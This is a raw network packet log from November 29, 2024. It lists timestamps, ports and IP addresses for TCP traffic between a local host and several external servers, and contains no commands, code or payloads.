Nov 29, 2024 20:07:59.521377087 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.521389008 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.521962881 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.522094965 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.522836924 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.522933960 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.523686886 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.523809910 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.524564981 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.524617910 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.525511026 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.525684118 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.526357889 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.526410103 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.527167082 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.527167082 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.527350903 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.527501106 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.528054953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.528170109 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.528538942 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.528636932 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.528862953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.528963089 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.529282093 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.529757023 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.529889107 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.529957056 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.530571938 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.530704975 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.530942917 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.531464100 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.531577110 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.531666040 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.532294989 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.532403946 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.532433987 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.532928944 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.533158064 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.533248901 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.533330917 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.534055948 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.534111977 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.534187078 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.534451962 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.534881115 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.535001040 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.535769939 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.535820961 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.536726952 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.536840916 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.537547112 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.537656069 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.538319111 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.538450956 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.539324045 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.539438963 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.539994001 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.540054083 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.540123940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.540786982 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.540903091 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.541021109 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.541776896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.541881084 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.542704105 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.542920113 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.543534040 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.543663025 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.544378996 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.544476986 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.545286894 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.545419931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.546041012 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.546176910 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.546278954 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.547046900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.547331095 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.547873020 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.547940016 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.548780918 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.548902035 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.549664021 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.549786091 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.549988985 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.550111055 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.550178051 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.550410032 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.550532103 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.550633907 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.551282883 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.551420927 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.551516056 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.552097082 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.552170992 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.552223921 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.553014040 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.553080082 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.553137064 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.553302050 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.687040091 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.687119961 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.687148094 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.687316895 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.687489986 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.687510014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.687551975 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.688338041 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.688472033 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.688568115 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.689413071 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.689646959 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.706990004 CET	50094	443	192.168.2.4	35.190.72.216
Nov 29, 2024 20:07:59.707024097 CET	443	50094	35.190.72.216	192.168.2.4
Nov 29, 2024 20:07:59.707377911 CET	50094	443	192.168.2.4	35.190.72.216
Nov 29, 2024 20:07:59.711844921 CET	50094	443	192.168.2.4	35.190.72.216
Nov 29, 2024 20:07:59.711855888 CET	443	50094	35.190.72.216	192.168.2.4
Nov 29, 2024 20:07:59.721492052 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.721606016 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.721677065 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.721901894 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.721959114 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.722023010 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.722734928 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.723021030 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.723086119 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.723607063 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.723772049 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.724144936 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.724301100 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.724463940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.724647999 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.724658966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.724791050 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.725388050 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.725522995 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.725593090 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.726211071 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.726275921 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.726629972 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.726756096 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.727041960 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.727108002 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.727272034 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.727332115 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.727931976 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.728107929 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.728163958 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.728795052 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.728868008 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.728940010 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.729010105 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.729664087 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.729754925 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.729825974 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.729902029 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.730624914 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.731050014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.731118917 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.731498957 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.731591940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.731595993 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.731673002 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.732258081 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.732430935 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.732496023 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.733086109 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.733154058 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.733289003 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.733334064 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.733947039 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.734144926 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.734334946 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.734708071 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.734894991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.734962940 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.735029936 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.735099077 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.735682964 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.735752106 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.735912085 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.735953093 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.736515999 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.736788034 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.736865044 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.737371922 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.737442017 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.737642050 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.737715960 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.738357067 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.738411903 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.738435030 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.738483906 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.739233971 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.739372015 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.739375114 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.739696026 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.739974976 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.740080118 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.740120888 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.740916014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.740966082 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.741127014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.741192102 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.741888046 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.741929054 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.742011070 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.742561102 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.742679119 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.742784023 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.742935896 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.743469000 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.743541956 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.743837118 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.744333982 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.744409084 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.744467974 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.744558096 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.745173931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.745237112 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.745323896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.745480061 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.745996952 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.746064901 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.746210098 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.746277094 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.746874094 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.746934891 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.746994972 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.747798920 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.747870922 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.747951031 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.748007059 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.748570919 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.748651981 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.748677969 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.748723030 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.749435902 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.749560118 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.749680996 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.750324965 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.750391006 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.750505924 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.751132965 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.751205921 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.751250982 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.751282930 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.751360893 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.752064943 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.752130032 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.752159119 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.752213001 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.752878904 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.752928972 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.752963066 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.753057003 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.753873110 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.753942966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.753952980 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.754030943 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.754817963 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.754894972 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.754900932 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.754968882 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.755569935 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.755624056 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.755646944 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.755682945 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.756417990 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.756536007 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.756634951 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.757344007 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.757411003 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.757441044 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.757569075 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.758168936 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.758236885 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.758264065 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.758307934 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.758934975 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.759027004 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.759111881 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.759767056 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.759829044 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.759912014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.759984970 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.760648012 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.760822058 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.760945082 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.761493921 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.761600018 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.761677980 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.761727095 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.762425900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.762480974 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.762547970 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.762619019 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.763181925 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.768382072 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:08:00.019267082 CET	50095	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:00.019289970 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:00.019387960 CET	50095	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:00.019711018 CET	50095	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:00.019721985 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:01.021159887 CET	443	50094	35.190.72.216	192.168.2.4
Nov 29, 2024 20:08:01.027354002 CET	443	50094	35.190.72.216	192.168.2.4
Nov 29, 2024 20:08:01.030551910 CET	50094	443	192.168.2.4	35.190.72.216
Nov 29, 2024 20:08:01.236500025 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:01.243330956 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:01.251975060 CET	50095	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:01.352365971 CET	50095	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:01.352370977 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:01.352690935 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:01.356672049 CET	50094	443	192.168.2.4	35.190.72.216
Nov 29, 2024 20:08:01.356693029 CET	443	50094	35.190.72.216	192.168.2.4
Nov 29, 2024 20:08:01.356806993 CET	50094	443	192.168.2.4	35.190.72.216
Nov 29, 2024 20:08:01.357002974 CET	443	50094	35.190.72.216	192.168.2.4
Nov 29, 2024 20:08:01.372786045 CET	50094	443	192.168.2.4	35.190.72.216
Nov 29, 2024 20:08:01.395833969 CET	50095	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:01.395937920 CET	50095	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:01.395965099 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:01.396159887 CET	50095	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:01.396168947 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:02.361330032 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:02.361424923 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:02.379331112 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:02.379601955 CET	50095	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:02.412637949 CET	50095	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:02.412648916 CET	443	50095	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:02.740231991 CET	50097	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:08:02.860302925 CET	80	50097	185.215.113.206	192.168.2.4
Nov 29, 2024 20:08:02.860459089 CET	50097	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:08:02.862133026 CET	50097	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:08:02.863679886 CET	50081	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:08:02.863923073 CET	50098	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:08:02.982240915 CET	80	50097	185.215.113.206	192.168.2.4
Nov 29, 2024 20:08:02.983875036 CET	80	50081	185.215.113.43	192.168.2.4
Nov 29, 2024 20:08:02.983932018 CET	80	50098	185.215.113.43	192.168.2.4
Nov 29, 2024 20:08:02.989063978 CET	50081	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:08:02.989118099 CET	50098	80	192.168.2.4	185.215.113.43
